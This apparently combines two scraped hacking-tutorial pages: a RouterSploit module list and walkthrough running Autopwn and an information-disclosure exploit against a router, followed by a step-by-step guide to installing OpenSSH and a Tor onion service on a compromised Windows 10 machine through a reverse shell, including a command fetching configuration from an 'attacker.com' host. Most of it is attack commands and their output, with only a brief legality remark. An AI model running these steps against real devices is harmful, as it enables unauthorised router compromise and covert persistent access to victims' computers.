creds/routers/mikrotik/api_ros_default_creds creds/routers/movistar/ssh_default_creds creds/routers/movistar/telnet_default_creds creds/routers/movistar/ftp_default_creds creds/routers/dlink/ssh_default_creds creds/routers/dlink/telnet_default_creds creds/routers/dlink/ftp_default_creds creds/routers/juniper/ssh_default_creds creds/routers/juniper/telnet_default_creds creds/routers/juniper/ftp_default_creds creds/routers/comtrend/ssh_default_creds creds/routers/comtrend/telnet_default_creds creds/routers/comtrend/ftp_default_creds creds/routers/fortinet/ssh_default_creds creds/routers/fortinet/telnet_default_creds creds/routers/fortinet/ftp_default_creds creds/routers/belkin/ssh_default_creds creds/routers/belkin/telnet_default_creds creds/routers/belkin/ftp_default_creds creds/routers/netsys/ssh_default_creds creds/routers/netsys/telnet_default_creds creds/routers/netsys/ftp_default_creds creds/routers/pfsense/ssh_default_creds creds/routers/pfsense/webinterface_http_form_default_creds creds/routers/zyxel/ssh_default_creds creds/routers/zyxel/telnet_default_creds creds/routers/zyxel/ftp_default_creds creds/routers/thomson/ssh_default_creds creds/routers/thomson/telnet_default_creds creds/routers/thomson/ftp_default_creds creds/routers/netcore/ssh_default_creds creds/routers/netcore/telnet_default_creds creds/routers/netcore/ftp_default_creds creds/routers/cisco/ssh_default_creds creds/routers/cisco/telnet_default_creds creds/routers/cisco/ftp_default_creds creds/cameras/grandstream/ssh_default_creds creds/cameras/grandstream/telnet_default_creds creds/cameras/grandstream/ftp_default_creds creds/cameras/basler/ssh_default_creds creds/cameras/basler/webinterface_http_form_default_creds creds/cameras/basler/telnet_default_creds creds/cameras/basler/ftp_default_creds creds/cameras/avtech/ssh_default_creds creds/cameras/avtech/telnet_default_creds creds/cameras/avtech/ftp_default_creds creds/cameras/vacron/ssh_default_creds creds/cameras/vacron/telnet_default_creds creds/cameras/vacron/ftp_default_creds creds/cameras/acti/ssh_default_creds creds/cameras/acti/webinterface_http_form_default_creds creds/cameras/acti/telnet_default_creds creds/cameras/acti/ftp_default_creds creds/cameras/sentry360/ssh_default_creds creds/cameras/sentry360/telnet_default_creds creds/cameras/sentry360/ftp_default_creds creds/cameras/siemens/ssh_default_creds creds/cameras/siemens/telnet_default_creds creds/cameras/siemens/ftp_default_creds creds/cameras/american_dynamics/ssh_default_creds creds/cameras/american_dynamics/telnet_default_creds creds/cameras/american_dynamics/ftp_default_creds creds/cameras/videoiq/ssh_default_creds creds/cameras/videoiq/telnet_default_creds creds/cameras/videoiq/ftp_default_creds creds/cameras/jvc/ssh_default_creds creds/cameras/jvc/telnet_default_creds creds/cameras/jvc/ftp_default_creds creds/cameras/speco/ssh_default_creds creds/cameras/speco/telnet_default_creds creds/cameras/speco/ftp_default_creds creds/cameras/iqinvision/ssh_default_creds creds/cameras/iqinvision/telnet_default_creds creds/cameras/iqinvision/ftp_default_creds creds/cameras/avigilon/ssh_default_creds creds/cameras/avigilon/telnet_default_creds creds/cameras/avigilon/ftp_default_creds creds/cameras/canon/ssh_default_creds creds/cameras/canon/telnet_default_creds creds/cameras/canon/ftp_default_creds creds/cameras/canon/webinterface_http_auth_default_creds creds/cameras/hikvision/ssh_default_creds creds/cameras/hikvision/telnet_default_creds creds/cameras/hikvision/ftp_default_creds creds/cameras/dlink/ssh_default_creds creds/cameras/dlink/telnet_default_creds creds/cameras/dlink/ftp_default_creds creds/cameras/honeywell/ssh_default_creds creds/cameras/honeywell/telnet_default_creds creds/cameras/honeywell/ftp_default_creds creds/cameras/samsung/ssh_default_creds creds/cameras/samsung/telnet_default_creds creds/cameras/samsung/ftp_default_creds creds/cameras/axis/ssh_default_creds creds/cameras/axis/telnet_default_creds creds/cameras/axis/ftp_default_creds creds/cameras/axis/webinterface_http_auth_default_creds creds/cameras/arecont/ssh_default_creds creds/cameras/arecont/telnet_default_creds creds/cameras/arecont/ftp_default_creds creds/cameras/brickcom/ssh_default_creds creds/cameras/brickcom/telnet_default_creds creds/cameras/brickcom/ftp_default_creds creds/cameras/brickcom/webinterface_http_auth_default_creds creds/cameras/mobotix/ssh_default_creds creds/cameras/mobotix/telnet_default_creds creds/cameras/mobotix/ftp_default_creds creds/cameras/geovision/ssh_default_creds creds/cameras/geovision/telnet_default_creds creds/cameras/geovision/ftp_default_creds creds/cameras/stardot/ssh_default_creds creds/cameras/stardot/telnet_default_creds creds/cameras/stardot/ftp_default_creds creds/cameras/cisco/ssh_default_creds creds/cameras/cisco/telnet_default_creds creds/cameras/cisco/ftp_default_creds payloads/perl/bind_tcp payloads/perl/reverse_tcp payloads/python/bind_tcp payloads/python/reverse_tcp payloads/python/bind_udp payloads/python/reverse_udp payloads/mipsbe/bind_tcp payloads/mipsbe/reverse_tcp payloads/armle/bind_tcp payloads/armle/reverse_tcp payloads/x86/bind_tcp payloads/x86/reverse_tcp payloads/php/bind_tcp payloads/php/reverse_tcp payloads/cmd/php_reverse_tcp payloads/cmd/python_reverse_tcp payloads/cmd/python_bind_tcp payloads/cmd/perl_reverse_tcp payloads/cmd/netcat_reverse_tcp payloads/cmd/awk_reverse_tcp payloads/cmd/awk_bind_tcp payloads/cmd/bash_reverse_tcp payloads/cmd/php_bind_tcp payloads/cmd/awk_bind_udp payloads/cmd/netcat_bind_tcp payloads/cmd/perl_bind_tcp payloads/cmd/python_reverse_udp payloads/cmd/python_bind_udp payloads/x64/bind_tcp payloads/x64/reverse_tcp payloads/mipsle/bind_tcp payloads/mipsle/reverse_tcp scanners/autopwn scanners/misc/misc_scan scanners/routers/router_scan scanners/cameras/camera_scan exploits/generic/shellshock exploits/generic/ssh_auth_keys exploits/generic/heartbleed exploits/misc/asus/b1m_projector_rce exploits/misc/wepresent/wipg1000_rce exploits/misc/miele/pg8528_path_traversal exploits/routers/ipfire/ipfire_oinkcode_rce exploits/routers/ipfire/ipfire_proxy_rce exploits/routers/ipfire/ipfire_shellshock exploits/routers/2wire/gateway_auth_bypass exploits/routers/2wire/4011g_5012nv_path_traversal exploits/routers/bhu/bhu_urouter_rce exploits/routers/linksys/1500_2500_rce exploits/routers/linksys/smartwifi_password_disclosure exploits/routers/linksys/wrt100_110_rce exploits/routers/linksys/wap54gv3_rce exploits/routers/technicolor/tg784_authbypass exploits/routers/technicolor/tc7200_password_disclosure_v2 exploits/routers/technicolor/dwg855_authbypass exploits/routers/technicolor/tc7200_password_disclosure exploits/routers/asus/infosvr_backdoor_rce exploits/routers/asus/rt_n16_password_disclosure exploits/routers/billion/billion_5200w_rce exploits/routers/billion/billion_7700nr4_password_disclosure exploits/routers/zte/f460_f660_backdoor exploits/routers/zte/zxv10_rce exploits/routers/ubiquiti/airos_6_x exploits/routers/asmax/ar_1004g_password_disclosure exploits/routers/asmax/ar_804_gu_rce exploits/routers/huawei/hg520_info_dislosure exploits/routers/huawei/hg866_password_change exploits/routers/huawei/hg530_hg520b_password_disclosure exploits/routers/huawei/e5331_mifi_info_disclosure exploits/routers/tplink/wdr740nd_wdr740n_backdoor exploits/routers/tplink/archer_c2_c20i_rce exploits/routers/tplink/wdr740nd_wdr740n_path_traversal exploits/routers/tplink/wdr842nd_wdr842n_configure_disclosure exploits/routers/netgear/jnr1010_path_traversal exploits/routers/netgear/n300_auth_bypass exploits/routers/netgear/multi_password_disclosure-2017-5521 exploits/routers/netgear/dgn2200_dnslookup_cgi_rce exploits/routers/netgear/prosafe_rce exploits/routers/netgear/r7000_r6400_rce exploits/routers/netgear/multi_rce exploits/routers/netgear/wnr500_612v3_jnr1010_2010_path_traversal exploits/routers/netgear/dgn2200_ping_cgi_rce exploits/routers/mikrotik/routeros_jailbreak exploits/routers/movistar/adsl_router_bhs_rta_path_traversal exploits/routers/dlink/dsp_w110_rce exploits/routers/dlink/dgs_1510_add_user exploits/routers/dlink/dir_645_815_rce exploits/routers/dlink/dir_815_850l_rce exploits/routers/dlink/dir_300_320_615_auth_bypass exploits/routers/dlink/dir_645_password_disclosure exploits/routers/dlink/dir_850l_creds_disclosure exploits/routers/dlink/dvg_n5402sp_path_traversal exploits/routers/dlink/dsl_2640b_dns_change exploits/routers/dlink/dcs_930l_auth_rce exploits/routers/dlink/dir_825_path_traversal exploits/routers/dlink/multi_hedwig_cgi_exec exploits/routers/dlink/dns_320l_327l_rce exploits/routers/dlink/dsl_2730_2750_path_traversal exploits/routers/dlink/dsl_2750b_info_disclosure exploits/routers/dlink/dir_300_600_rce exploits/routers/dlink/dwl_3200ap_password_disclosure exploits/routers/dlink/dsl_2740r_dns_change exploits/routers/dlink/dir_8xx_password_disclosure exploits/routers/dlink/dwr_932b_backdoor exploits/routers/dlink/dsl_2730b_2780b_526b_dns_change exploits/routers/dlink/dwr_932_info_disclosure exploits/routers/dlink/dir_300_320_600_615_info_disclosure exploits/routers/dlink/dsl_2750b_rce exploits/routers/dlink/multi_hnap_rce exploits/routers/dlink/dir_300_645_815_upnp_rce exploits/routers/3com/ap8760_password_disclosure exploits/routers/3com/imc_path_traversal exploits/routers/3com/officeconnect_rce exploits/routers/3com/officeconnect_info_disclosure exploits/routers/3com/imc_info_disclosure exploits/routers/comtrend/ct_5361t_password_disclosure exploits/routers/fortinet/fortigate_os_backdoor exploits/routers/multi/rom0 exploits/routers/multi/tcp_32764_rce exploits/routers/multi/misfortune_cookie exploits/routers/multi/tcp_32764_info_disclosure exploits/routers/multi/gpon_home_gateway_rce exploits/routers/belkin/g_plus_info_disclosure exploits/routers/belkin/play_max_prce exploits/routers/belkin/n150_path_traversal exploits/routers/belkin/n750_rce exploits/routers/belkin/g_n150_password_disclosure exploits/routers/belkin/auth_bypass exploits/routers/netsys/multi_rce exploits/routers/shuttle/915wm_dns_change exploits/routers/zyxel/d1000_rce exploits/routers/zyxel/p660hn_t_v2_rce exploits/routers/zyxel/d1000_wifi_password_disclosure exploits/routers/zyxel/zywall_usg_extract_hashes exploits/routers/zyxel/p660hn_t_v1_rce exploits/routers/thomson/twg850_password_disclosure exploits/routers/thomson/twg849_info_disclosure exploits/routers/netcore/udp_53413_rce exploits/routers/cisco/secure_acs_bypass exploits/routers/cisco/catalyst_2960_rocem exploits/routers/cisco/ucs_manager_rce exploits/routers/cisco/unified_multi_path_traversal exploits/routers/cisco/firepower_management60_path_traversal exploits/routers/cisco/firepower_management60_rce exploits/routers/cisco/video_surv_path_traversal exploits/routers/cisco/dpc2420_info_disclosure exploits/routers/cisco/ios_http_authorization_bypass exploits/routers/cisco/ucm_info_disclosure exploits/cameras/grandstream/gxv3611hd_ip_camera_sqli exploits/cameras/grandstream/gxv3611hd_ip_camera_backdoor exploits/cameras/mvpower/dvr_jaws_rce exploits/cameras/siemens/cvms2025_credentials_disclosure exploits/cameras/avigilon/videoiq_camera_path_traversal exploits/cameras/xiongmai/uc_httpd_path_traversal exploits/cameras/dlink/dcs_930l_932l_auth_bypass exploits/cameras/honeywell/hicc_1100pt_password_disclosure exploits/cameras/brickcom/corp_network_cameras_conf_disclosure exploits/cameras/brickcom/users_cgi_creds_disclosure exploits/cameras/multi/P2P_wificam_credential_disclosure exploits/cameras/multi/dvr_creds_disclosure exploits/cameras/multi/jvc_vanderbilt_honeywell_path_traversal exploits/cameras/multi/netwave_ip_camera_information_disclosure exploits/cameras/multi/P2P_wificam_rce generic/bluetooth/btle_enumerate generic/bluetooth/btle_scan generic/bluetooth/btle_write generic/upnp/ssdp_msearch rsf >To begin, we'll start with a scan against a target router, which will check to see if each and every vulnerability might work against it. It will return a list at the end of the scan with every exploit that will work against the target — no research required.Step 4: Scanning a TargetWe will be using Autopwn scanner to find any vulnerabilities that apply to our target. Locate the IP address of the router, and save it, because we'll need it to input it shortly. Most of the time, the router is at 192.168. 0.1, but this can change. You can useFingorARP-scanto find the IP address if you don't know it.Don't Miss:Using Netdiscover & ARP to Find Internal IP & MAC AddressesAfter starting RouterSploit, enter the Autopwn module by typing the following commands.use scanners/autopwn show optionsThis is very similar to Metasploit. To get around, typeuseand then whatever module you want to use,show optionsto show the variables of that module you've selected,setto set any of the variables you see from theshow optionscommand, and finally,runto execute the module. Pretty simple. To close out of the module and take you to the main screen, typeexit.rsf > use scanners/autopwn rsf (AutoPwn) > show options Target options: Name Current settings Description ---- ---------------- ----------- target Target IPv4 or IPv6 address Module options: Name Current settings Description ---- ---------------- ----------- http_port 80 Target Web Interface Port http_ssl false HTTPS enabled: true/false ftp_port 21 Target FTP port (default: 21) ftp_ssl false FTPS enabled: true/false ssh_port 22 Target SSH port (default: 22) telnet_port 23 Target Telnet port (default: 23) threads 8In this case, we will set the target to the IP address of the router. Typeset targetand then the IP address of the router, then press enter. Finally, typerunto begin the scan.rsf (AutoPwn) > set target 10.11.0.4 [+] {'target': '10.11.0.4'} rsf (AutoPwn) > runStep 5: Selecting & Configuring the ExploitAfter the scan is complete, we'll be left with a list of vulnerabilities it finds. We can pick from this list to decide which exploit best suits our needs. Here, we see a router with many vulnerabilities.[*] Elapsed time: ``9.301568031 seconds [*] Could not verify exploitability: - exploits/routers/billion/5200w_rce - exploits/routers/cisco/catalyst_2960_rocem - exploits/routers/cisco/secure_acs_bypass - exploits/routers/dlink/dir_815_8501_rce - exploits/routers/dlink/dsl_2640b_dns_change - exploits/routers/dlink/dsl_2730b_2780b_526_dns_change - exploits/routers/dlink/dsl_2740r_dns_change - exploits/routers/netgear/dgn2200_dnslookup_cgi_rce - exploits/routers/shuttle/915wm_dns_change [*] Device is vulnerable: - exploits/routers/3com/3crads172_info_disclosure - exploits/routers/3com/officialconnect_rce - exploits/routers/dlink/dcs_9301_auto_rce - exploits/routers/dlink/dir_300_600_rce - exploits/routers/ipfire/ipfire_proxy_rce - exploits/routers/linksys/1500_2500_rce - exploits/routers/netgear/prosafe_rce - exploits/routers/zyxel/zywall_usg_extract_hashes - exploits/routers/dlink/dcs_9301_9321_authbypass rsf (AutoPwn) >Let's start with a simple exploit on one of these vulnerable routers, some revealing information disclosure. To use this exploit, we'll enter the following commands.use exploits/routers/3com/3cradsl72_info_disclosure show optionsA list of the variables will come up, and you'll be able to set your target by typing:set target <target router IP> checkThis will set the target and confirm it is vulnerable.rsf (AutoPwn) > use exploits/routers/3com/3cradsl72_info_disclosure show options rsf (3Com 3CRADSL72 Info Disclosure) > show options Target options: Name Current settings Description ---- ---------------- ----------- target Target IPv4 or IPv6 address rsf (3Com 3CRADSL72 Info Disclosure) > set target 10.11.0.4 [+] {'target': '10.11.0.4'} rsf (3Com 3CRADSL72 Info Disclosure) > check /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7.site-package ... reRequestWarning: Unverified HTTPS request is being made. Adding certificate https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning) [+] Target is vulnerable rsf (3Com 3CRADSL72 Info Disclosure) >Step 6: Running the ExploitThe target looks good and vulnerable. To fire the payload, typerun.rsf (3Com 3CRADSL72 Info Disclosure) > run [*] Running module... [*] Sending request to download sensitive information /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7.site-package ... reRequestWarning: Unverified HTTPS request is being made. Adding certificate https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning) [+] Exploit success [*] Reading /app_sta.stm file <!doctype html> <html class=""> <!-- _#####____####___######___####___####___##______######__#####__ _##__##__##__##__##______##_____##______##______##______##__##_ _#####___######__####_____####___####___##______####____#####__ _##______##__##__##__________##_____##__##______##______##__##_ _##______##__##__######___####___####___######__######__##__##_ We are hiring software developers! https://www.paessler.com/jobs --> <head> <link rel="manifest" href="/public/manifest.json.htm"> <meta httlp-equiv="X-UA-Compatible" content="IE-edge,chrome=1"> <meta name="viewport" content="width=device-width.initial-scale">If the exploit is successful, you should be greeted with internal configuration settings that can leak the login and password of users, default passwords, and device serial number, among other settings that allow you to compromise the router. Other modules allow you to remotely inject code or directly disclose the router password. Which you can run depends on what the target router is vulnerable to.WarningsThis intro should get you familiar with running RouterSploit to compromise a router, now you can start using other modules and experimenting with different kinds of exploits. Although Autopwn is a convenient feature, it tries a lot of different exploits and thus is very noisy on the network. The preferred option is to scan your target,do some recon, and only run the relevant modules for the manufacturer of the target router. While exploiting routers might be trendy, keep in mind doing so on someone else's router without permission is a crime. Unless you're the CIA.Don't Miss:How to Exploit Routers on an Unrooted Android PhoneYou can ask me questions here or @sadmin2001 onTwitterorInstagram.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Exploit Routers on an Unrooted Android PhoneHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:Break into Router Gateways with PatatorHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Use the common rope seizing knotHow To:A Hitchhiker's Guide to the Internet: Today and Now, How It All ConnectsHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Build the motor mount for a CNC routerHow To:Make the gantry sides for a CNC routerHow To:Make the stepper motor driver for a CNC routerHow To:Build the z-axis for a CNC routerHow To:Hack Wireless Router Passwords & Networks Using HydraNews:Build Your Own Lego RouterNews:pfSense Enterprise Open Source Firwall & RouterNews:Seize the Lightning! Carpe Fulgur Imports Japanese Indie Games to the U.S.How To:How The Internet WorksNews:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsHow To:Turn Your House Lights On & Off Using the InternetThe Ultimate Guide:Diagnosing & Fixing Connection Issues, Part IINews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetNews:Friday Indie Game Review Roundup: Hoard, Jamestown and Toy Soldiers 2News:MAME Arcade cabinet+
Hacking Windows 10: How to Turn Compromised Windows PCs into Web Proxies « Null Byte :: WonderHowTo
A hacker with privileged access to aWindows 10computer can configure it to act as a web proxy, which allows the attacker to target devices and services on the networkthroughthe compromised computer. The probes and attacks appear to originate from the Windows 10 computer, making it difficult to detect the attacker's actual location.The attack works with an OpenSSH server andTor. In newer versions of Windows 10, an SSH server may already be installed and running, making it that much easier for attackers to abuse the service.While Tor is used in my example, other tools likengrokandServeocan probably act as substitutes. However, these services haven't been tested, primarily because Tor connections are encrypted and private, making it a safer solution to transmit sensitive information.Don't Miss:Set Up an SSH Server with Tor to Hide It from Shodan & HackersWhy Would Someone Do This to My Computer?There's no telling what a black hat can do with a Windows 10 device acting as a private proxy. If this happens to your computer, there's a good chance you're not the hacker's primary target. In corporate environments, the compromised device would act as an infiltration system, allowing the attacker to target other people and machines on the company network.With home networks, hackers may use the computer as a web proxy to conduct fraudulent credit card transactions, denial-of-service attacks, or torrent pirated content. The illegal activity appears as if it's originating from your Windows 10 device, putting you in great legal danger.For white hat penetration testers, there are benefits to setting this up. For example, it would typically be challenging to use tools likeNikto,Nmap,Patator,curl, andTheHarvesterdirectly from the compromised device. With a proxy, these tools can be usedthroughthe Windows 10 device, opening up many opportunities to pivot to other devices without actually connecting to the target network.Don't Miss:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowAttack Scenario RequirementsYou'll need a few things for this particular method to work.Remote access: This article assumes some degree of remote access (i.e., backdoor) has been established. Remote access can be acquired usingMouseJack keystroke injections,USB Rubber Ducky payloads,physically backdooring devices,USB dead drop attacks, and other methods ofsocial engineering.Admin privileges: If OpenSSH isn't installed on the target Windows 10 operating system, admin (i.e., root) privileges will be required to install and set it up. This requirement is mostly conditional as some newer versions of Windows 10 have SSH servers installed and running already.Account password: The user'saccount password is requiredto log into the SSH server after it's been set up. If the elevated shell were acquired without learning the user's password, it would be possible to dump password hashes and brute-force them offline. Alternatively, it may be possible tocreate a new userremotely. It may also be possible to configure the OpenSSH server to allow logins without a password. Both of these methods are untested, however, and beyond the scope of this article. For now, the password to thealready compromised Windows 10 account is required.Important NoteIn this guide, code blocks that begin with>indicate the command should be executed with PowerShell on the Windows 10 system (i.e., theNetcatbackdoor). Code blocks that begin with~$indicate aKali Linuxcommand execution.Is OpenSSH Already Installed & Running?This attack relies on an SSH server being installed. The SSHserveris different from the SSHclientfound in most versions of Windows 10. If OpenSSH is already installed, most of the below attack can be executed without admin (root) privileges. If OpenSSH is not installed, however, admin privileges are required to install it.Below are several commands that can be used to determine if OpenSSH is already installed and running in the background.For starters, check to see if the OpenSSH directory exists. If no directory exists, SSH probably isn't installed.> ls "C:\Program Files\OpenSSH\"TheGet-NetTCPConnectioncommand can quickly determine which service are in a listening state and the occupied port numbered. We can see ports22, the default SSH port is in a listening state on this computer.> Get-NetTCPConnection -State Listen LocalAddress LocalPort RemoteAddress RemotePort State AppliedSetting ------------ --------- ------------- ---------- ----- -------------- :: 49676 :: 0 Listen :: 7680 :: 0 Listen :: 445 :: 0 Listen :: 135 :: 0 Listen :: 22 :: 0 Listen 0.0.0.0 49676 0.0.0.0 0 Listen 0.0.0.0 5040 0.0.0.0 0 Listen 0.0.0.0 135 0.0.0.0 0 Listen 0.0.0.0 22 0.0.0.0 0 ListenThe default port number for a given service can be changed to an arbitrary value. So the output isn't 100% definitive.Withnetstat, the service using a given port can be identified. However, netstat commands took much longer to produce an output than Get-NetTCPConnection commands. In some cases, netstat took several minutes to complete before delivering the output to the Kali system. Somemore involved Get-NetTCPConnection commandscan be used to show which services are occupying ports, but this seemed like an excellent opportunity to show both options.> netstat -ba Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:22 DESKTOP-U4E0WK3:0 LISTENING [sshd.exe] TCP 0.0.0.0:135 DESKTOP-U4E0WK3:0 LISTENING RpcSs [svchost.exe] TCP 0.0.0.0:445 DESKTOP-U4E0WK3:0 LISTENING Can not obtain ownership information TCP 0.0.0.0:5040 DESKTOP-U4E0WK3:0 LISTENING CDPSvc [svchost.exe] TCP 0.0.0.0:7680 DESKTOP-U4E0WK3:0 LISTENING DoSvc [svchost.exe]In the above output, we can clearly seesshd.exeis occupying port22.Finally,Get-Processcan be used to show processes running in the background. The processes are alphabetized. Scrolling down to theSsection, we'll find thesshdprocess name.> Get-Process Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 297 19 6760 24328 0.27 6104 1 ApplicationFrameHost 397 23 18056 50384 3.94 3784 0 aswEngSrv 701 24 19592 38364 12.05 3104 0 aswidsagent 4115 83 69404 40016 24.70 2336 0 AvastSvc 1888 44 22444 35008 4.30 1876 1 AvastUI ... 430 25 5924 15460 0.25 2628 0 spoolsv 98 11 1728 6664 0.05 7388 0 sshd 252 10 2524 7904 0.48 488 0 svchost 156 9 1852 7860 0.13 520 0 svchost 79 5 1040 3912 0.03 908 0 svchostAgain, if SSH is not found on the target system, an elevated (admin) backdoor is required to perform many of the below commands. If SSH is already running, skip toStep 2.Step 1: Set Up SSH on the Target Windows 10 ComputerAll of the following commands were executed through a reverse shell. This can be set up with Netcat listeners. Compromising a Windows 10 system to this extent has been covered in the following articles:Break into Windows 10 Without a PasswordBackdoor Windows 10 with Android & USB Rubber DuckyHack Windows 10 with USB Dead Drop AttacksInject Keystrokes into Logitech Keyboards1. Download the OpenSSH Installer ScriptIn my tests, before executingInvoke-WebRequest(iwr) to download the OpenSSH binaries, theSecurityProtocolhad to be defined using the below command.> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12Download the OpenSSH-Win64.zip from the GitHub. At the time of this writing, v7.9.0.0p1-Beta is themost recent stable release. This download can take one or two minutes to complete, depending on the network speed of the Windows 10 system. The Netcat terminal won't respond or show a progress bar during this time. Be patient here.> iwr https://github.com/PowerShell/Win32-OpenSSH/releases/download/v7.9.0.0p1-Beta/OpenSSH-Win64.zip -o $env:temp\OpenSSH-Win64.zip2. Unzip the OpenSSH ArchivePowerShell versions greater than 5.1 have a handy decompression function calledExpand-Archivethat can be used to unzip the ffmpeg.zip in the target's temp directory quickly.> Expand-Archive -Path "$env:temp\OpenSSH-Win64.zip" -DestinationPath 'C:\Program Files\OpenSSH' -ForceExpand-Archive will take the input file ($env:temp\OpenSSH-Win64.zip) and unzip it into (-DestinationPath) a new folder called C:\Program Files\OpenSSH\.3. Execute the OpenSSH Install ScriptInstall SSH server using the provided "install-sshd.ps1" script. In no errors occur after a few seconds, the terminal will report a successful installation. In one test, I got an error ("NoServiceFoundForGivenName"), but this didn't seem to cause the installation to fail.> & "C:\Program Files\OpenSSH\OpenSSH-Win64\install-sshd.ps1" [SC] SetServiceObjectSecurity SUCCESS [SC] ChangeServiceConfig2 SUCCESS [SC] ChangeServiceConfig2 SUCCESS sshd and ssh-agent services successfully installed4. Start the OpenSSH ServiceAfter being installed, the SSH server will not start automatically. Nor will it automatically start when the system reboots. The belownetcommand is required to start the SSH server.> net start sshd The OpenSSH SSH Server service is starting.. The OpenSSH SSH Server service was started successfully.5. Verify the OpenSSH Server Is RunningTo further verify the SSH server is running, useGet-NetTCPConnectionorGet-Processas shown previously. Notice port 22 in a listening state.> Get-NetTCPConnection -State Listen LocalAddress LocalPort RemoteAddress RemotePort State AppliedSetting ------------ --------- ------------- ---------- ----- -------------- :: 49676 :: 0 Listen :: 7680 :: 0 Listen :: 445 :: 0 Listen :: 135 :: 0 Listen :: 22 :: 0 Listen 0.0.0.0 49676 0.0.0.0 0 Listen 0.0.0.0 5040 0.0.0.0 0 Listen 0.0.0.0 135 0.0.0.0 0 Listen 0.0.0.0 22 0.0.0.0 0 ListenStep 2: Set Up Tor on the Target Windows 10 ComputerWith the OpenSSH server up and running, Tor can be installed.1. Download the Tor ZIPTo start, download the ZIP containing precompiled Tor binaries and DLLs. Currently, version tor-win32-0.3.5.8.zip is the latest stable release. In the future, it may be desirable tocheck the Tor Project website for newer releases. Grab the "Windows Expert Bundle" URL, not the tar.gz source file.> iwr 'https://www.torproject.org/dist/torbrowser/8.0.9/tor-win32-0.3.5.8.zip' -o $env:temp\tor.zip2. Extract the Tor ArchiveExpand-Archive can be used again to decompress the ZIP into (-DestinationPath) thetemp directory.> Expand-Archive -Path $env:TEMP\tor.zip -DestinationPath $env:TEMP\tor\When that's done, change (cd) into the new tor\ directory.> cd $env:TEMP\tor\Tor\Use thelscommand to list the directories contents.> ls Directory: C:\Users\USERNAME\AppData\Local\Temp\tor\Tor Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/21/2019 3:31 PM 2585371 libeay32.dll -a---- 2/21/2019 3:31 PM 860748 libevent-2-1-6.dll -a---- 2/21/2019 3:31 PM 601445 libevent_core-2-1-6.dll -a---- 2/21/2019 3:31 PM 562811 libevent_extra-2-1-6.dll -a---- 2/21/2019 3:31 PM 991228 libgcc_s_sjlj-1.dll -a---- 2/21/2019 3:31 PM 278533 libssp-0.dll -a---- 2/21/2019 3:31 PM 511930 libwinpthread-1.dll -a---- 2/21/2019 3:31 PM 788352 ssleay32.dll -a---- 2/21/2019 3:31 PM 1007104 tor-gencert.exe -a---- 2/21/2019 3:31 PM 3794944 tor.exe -a---- 2/21/2019 3:31 PM 107520 zlib1.dll3. Create the Torrc Configuration FileIn thelsoutput, notice there's no "torrc" file. Torrc is the configuration file with instructions for how Tor should behave. In this case, we want Tor to create a new onion service address. Anyone who hasset up a Tor onion servicebefore will recall configuring theHiddenServiceDirandHiddenServicePortin the torrc file. These values are responsible for the directory where Tor will store information about that onion service and port used by the onion service, respectively.In my tests, there were some annoyingnewline errorsthat occurred when the torrc file was created withechoand other PowerShell file creation cmdlets. Ultimately, it was easier to host the desired torrc file on a remote server and simply download it with PowerShell.First, verify the target's username using the$envvariable in PowerShell. This username is needed for the following torrc configuration file.> echo $env:username tokyoneonNow, in Kali or avirtual private server, create a file called "torrc" and save the below torrc configuration to the file. Alternatively, this file can be hosted on afile-sharing serveror GitHub.HiddenServiceDir C:\Users\USERNMAE\AppData\Local\Temp\tor\Tor\HS\ HiddenServicePort 22 127.0.0.1:224. Download the Torrc from Attacker's SystemTo make the torrc file downloadable, set up a simple Python3 web server to make the file accessible to anyone on the network and internet.~$ python3 -m http.server 80In Windows 10, the Invoke-WebRequest command can be used again to download the torrc configuration file from the attacker's system.> iwr attacker.com/torrc -o torrcNow, uselsto verify the torrc file was saved correctly.> ls Directory: C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/21/2019 3:31 PM 2585371 libeay32.dll -a---- 2/21/2019 3:31 PM 860748 libevent-2-1-6.dll -a---- 2/21/2019 3:31 PM 601445 libevent_core-2-1-6.dll -a---- 2/21/2019 3:31 PM 562811 libevent_extra-2-1-6.dll -a---- 2/21/2019 3:31 PM 991228 libgcc_s_sjlj-1.dll -a---- 2/21/2019 3:31 PM 278533 libssp-0.dll -a---- 2/21/2019 3:31 PM 511930 libwinpthread-1.dll -a---- 2/21/2019 3:31 PM 788352 ssleay32.dll -a---- 2/21/2019 3:31 PM 1007104 tor-gencert.exe -a---- 2/21/2019 3:31 PM 3794944 tor.exe -a---- 5/7/2019 9:03 PM 99 torrc -a---- 2/21/2019 3:31 PM 107520 zlib1.dllThen,catto read the file contents.> cat torrc HiddenServiceDir C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\HS\ HiddenServicePort 22 127.0.0.1:225. Start the Tor ProcessFinally, start the tor.exe with the below command. After executing the command, wait for the Netcat terminal to read "Bootstrapped 100%: Done." This will indicate it has started properly. PressEnteron the keyboard to get back into an interactive Netcat shell.> Start-Process -NoNewWindow -FilePath .\tor.exe -ArgumentList '-f','torrc' PS C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor> May 08 10:43:43.090 [notice] Tor 